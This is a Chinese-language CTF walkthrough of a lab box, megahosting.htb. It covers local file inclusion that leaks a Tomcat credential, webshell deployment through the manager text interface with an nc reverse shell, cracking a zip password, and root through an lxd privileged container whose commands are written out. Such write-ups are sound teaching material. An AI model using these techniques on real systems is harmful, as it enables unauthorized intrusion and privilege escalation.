Enumeration
nmap
已知目标开放了22,80,8080端口,扫描详细情况如下
TCP/80
显示80和8080分别是Apache和Tomcat,而22是ssh,Apache页面如下
页面上有些链接指向http://megahosting.htb/news.php?file=statement,因为无 法进行域名解析,因此出现错误
在/etc/hosts文件中添加10.10.10.194 megahosting.htb
之后,可以看到两句话,从url看那两句话是从statement文件中来的,测试是否存在本地文件包含漏洞
验证确实存在文件包含漏洞,读取了/etc/passwd文件,并且发现了一个id为 1000的用户ash
TCP/8080
点击接口,发现了manager目录,这时Tomcat的管理页面,但是需要认证
点击cancel取消登录,会收到401,提示凭据在/conf/tomcat-users.xml中
而在刚开始,8080端口展示的首页上,可以发现tomcat的安装路径,即/usr/ share/tomcat9
因为刚才存在文件包含漏洞,所以可以查看对应的配置文件,但是执行后却发 现什么都没有
尝试搜索tomcat9还有什么其他的目录,有可能该xml文件放在其他路径下,在 网上搜索发现了一个新的目录
然后利用文件包含漏洞,得到了一组用户名和密码tomcat:$3cureP4s5w0rd123!
根据后面的roles可知,仅允许admin-gui,manager-script,也就是说无法访问管理器webapp
根据提示,尝试扫描web目录,使用dirsearch发现了以下几个目录
在google搜索tomcat9 /manager/text,返回了一个tomcat的官方操作文档,显示 可以操作一些命令
尝试用以上命令查看tomcat上的可用虚拟主机,可以看到命令确实起作用了
继续搜索能否使用text接口来部署webshell,还是在官方操作文档中,可以找到 对应方法,先生成payloads
生成payloads的指令在reverse shell generator
然后使用下面的命令部署webshell
之后用nc开启监听,然后访问http://10.10.10.194:8080/vegetable,即可获取 shell,然后在生成一个交互式shell
Lateral Movement
也是因为题目问到了16162020_backup.zip的密码,然后确实在/var/www/html/ files中发现了这个压缩包
使用nc将该zip文件传送至本地,先计算md5的hash和,然后传送文件 nc -nv 10.10.14.13 1234 < 16162020_backup.zip
同时在本地开启监听,接收文件,并计算hash和,确保两个hash和是相同的 nc -nvlp 1234 > 16162020_backup.zip
然后使用fcrackzip破解得到压缩文件的密码
可以看到该zip文件属于ash用户,考虑压缩包密码复用
尝试用该密码切换用户ash
Privilege Escalation
运行id命令发现用户组中有一个lxd
lxd(Linux Daemon)是一个系统容器管理器,控制 lxc(Linux Container)。 Linux 容器 (LXC) 是一种使用单个 Linux 内核运行隔离容器的虚拟化技术。用户 ash可以创建一个特权容器,然后使用它来挂载主机文件系统。
查看发现系统并不存在任何容器
因此可以现在本地构建Alpine镜像,然后上传至目标,参考https://github.com/ saghul/lxd-alpine-builder,下载好按照说明做就行了
将.tar.gz包上传至目标,使用python开启http服务并下载
首先需要运行lxd init,所有选项都选择默认
检查镜像列表
按照下面的指令执行,先创建容器,挂载root目录,然后启动容器
lxc init alpine mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
执行完指令后,可以检查看看容器是否正在运行
容器运行成功,接着就可以访问它 lxc exec mycontainer /bin/sh
我们可以查看root.txt